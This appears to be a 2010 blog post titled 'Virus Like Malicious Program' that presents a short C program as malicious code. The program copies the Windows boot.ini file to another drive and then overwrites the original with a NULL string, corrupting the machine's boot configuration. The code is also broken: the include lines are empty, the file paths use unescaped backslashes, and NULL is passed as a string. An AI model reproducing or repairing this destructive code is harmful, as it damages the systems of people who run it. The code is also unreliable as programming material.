Sunday, February 14, 2010

Virus Like Malicious Program

#include
#include
void main()
{
char b,c;
FILE *f,*g,*h;
clrscr();
c=NULL;
f=fopen("d:\boot.ini","r");
g=fopen("e:\boot.ini","w");
while(1)
{
b=fgetc(f);
if (b==EOF)
break;
fprintf(g,"%c",b);
}
h=fopen("d:\boot.ini","w");
fprintf(h,"%s",c);
fclose(h);
fclose(g);
fclose(f);
getch();
}

No comments: